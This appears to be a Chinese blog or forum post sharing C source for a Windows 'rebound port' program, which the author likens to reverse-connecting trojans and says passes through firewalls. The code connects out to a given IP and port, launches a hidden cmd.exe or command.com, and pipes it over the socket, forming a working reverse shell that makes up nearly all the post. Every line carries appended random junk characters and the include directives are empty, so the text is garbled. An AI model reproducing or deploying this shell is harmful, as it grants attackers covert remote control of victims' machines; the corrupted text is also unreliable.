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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 vRr9%zx  
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/* ============================== X"<|Z]w  
Rebound port in Windows NT @GeHWv  
By wind,2006/7 :1_mfX  
===============================*/ +t"j-}xzE  
#include 2 Y+:,ud\  
#include ri=+(NKo-  
doLNz4W  
#pragma comment(lib,"wsock32.lib") wW5Yw i  
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void OutputShell(); B*79qq  
SOCKET sClient; #PFO]j!_b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D^?_"wjW  
MLS;SCl  
void main(int argc,char **argv) u)~s4tP4  
{ 9rcI+q=E  
WSADATA stWsaData; lT,+bU  
int nRet; >r}Vf9 5[N  
SOCKADDR_IN stSaiClient,stSaiServer; ]sL45k2W  
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if(argc != 3) N!c gN  
{ S(t{&+Wc  
printf("Useage:\n\rRebound DestIP DestPort\n"); +tU Q  
return; 2f..sNz  
} 9XOyj5  
{Hk/1KG>  
WSAStartup(MAKEWORD(2,2),&stWsaData); Gru ALx7  
c;!9\1sr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _yVPpA[a  
4f {+pf^R  
stSaiClient.sin_family = AF_INET; mx}E$b$<CY  
stSaiClient.sin_port = htons(0); 6Xa.0(h  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^73=7PZ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }N,>A-P  
{ VMHC/jlX@r  
printf("Bind Socket Failed!\n"); 6N3@!xtpi  
return; *Hunp Y  
} \ja `c)x  
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stSaiServer.sin_family = AF_INET; .'lN4x  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3dm'xe tM  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P4 6,o  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) j)L1H* S%  
{ /s`;9)G]9  
printf("Connect Error!"); %g w{[ /[A  
return; 6?o>{e7n^  
} 6mHhC?  
OutputShell(); a D|Yo  
} }\Z5{OA  
aYVDp{_  
void OutputShell() ikHOqJ-,m  
{ p(?3 V  
char szBuff[1024]; m&Sp1=*Ejy  
SECURITY_ATTRIBUTES stSecurityAttributes; @q)E=G1<o0  
OSVERSIONINFO stOsversionInfo; ?v.Gn9Z&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; woau'7}XOu  
STARTUPINFO stStartupInfo; jONjt(&N  
char *szShell; c[5@ \j\  
PROCESS_INFORMATION stProcessInformation; =l,#iYJP8  
unsigned long lBytesRead; q[c Etp28h  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); f3 &/r  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5f_7&NxT  
stSecurityAttributes.lpSecurityDescriptor = 0; @vAFfYU9<.  
stSecurityAttributes.bInheritHandle = TRUE; rPO}6lsc  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); #LWg"i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a))*F!}c  
<25ccE9^c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &7Kb]Ti  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g1V)$s 7  
stStartupInfo.wShowWindow = SW_HIDE; <V S2]13  
stStartupInfo.hStdInput = hReadPipe; SqqDV)Uih1  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J]\^QMX  
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GetVersionEx(&stOsversionInfo); os**hFPk;1  
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switch(stOsversionInfo.dwPlatformId) EfKntrom[  
{ -tyaE  
case 1: } 07r  
szShell = "command.com"; ? s4oDi|:  
break; (8x gn  
default: ]!aUT&  
szShell = "cmd.exe"; ImHU:iR[J-  
break; r|-J8s#  
} a8QfkOe  
G_(ct5:_"!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @C_ =*  
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send(sClient,szMsg,77,0); 4Py3I9  
while(1) UkfA}b^@v  
{ b1)\Zi  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aAcKwCGq\  
if(lBytesRead) }) 7K S?  
{ /7vE>mSY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); f?-J#x)  
send(sClient,szBuff,lBytesRead,0); VIg\]%qse  
} FG# nap{  
else hS_.l}0yf  
{ iT$d;5_pU  
lBytesRead=recv(sClient,szBuff,1024,0); vZk9gGjk  
if(lBytesRead<=0) break; `^e*T'UPl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Wr#~GFg  
} ?(Bl~?zD  
} 3+zzi  
9b%j.Q-W  
return; Tk](eQsy.v  
}
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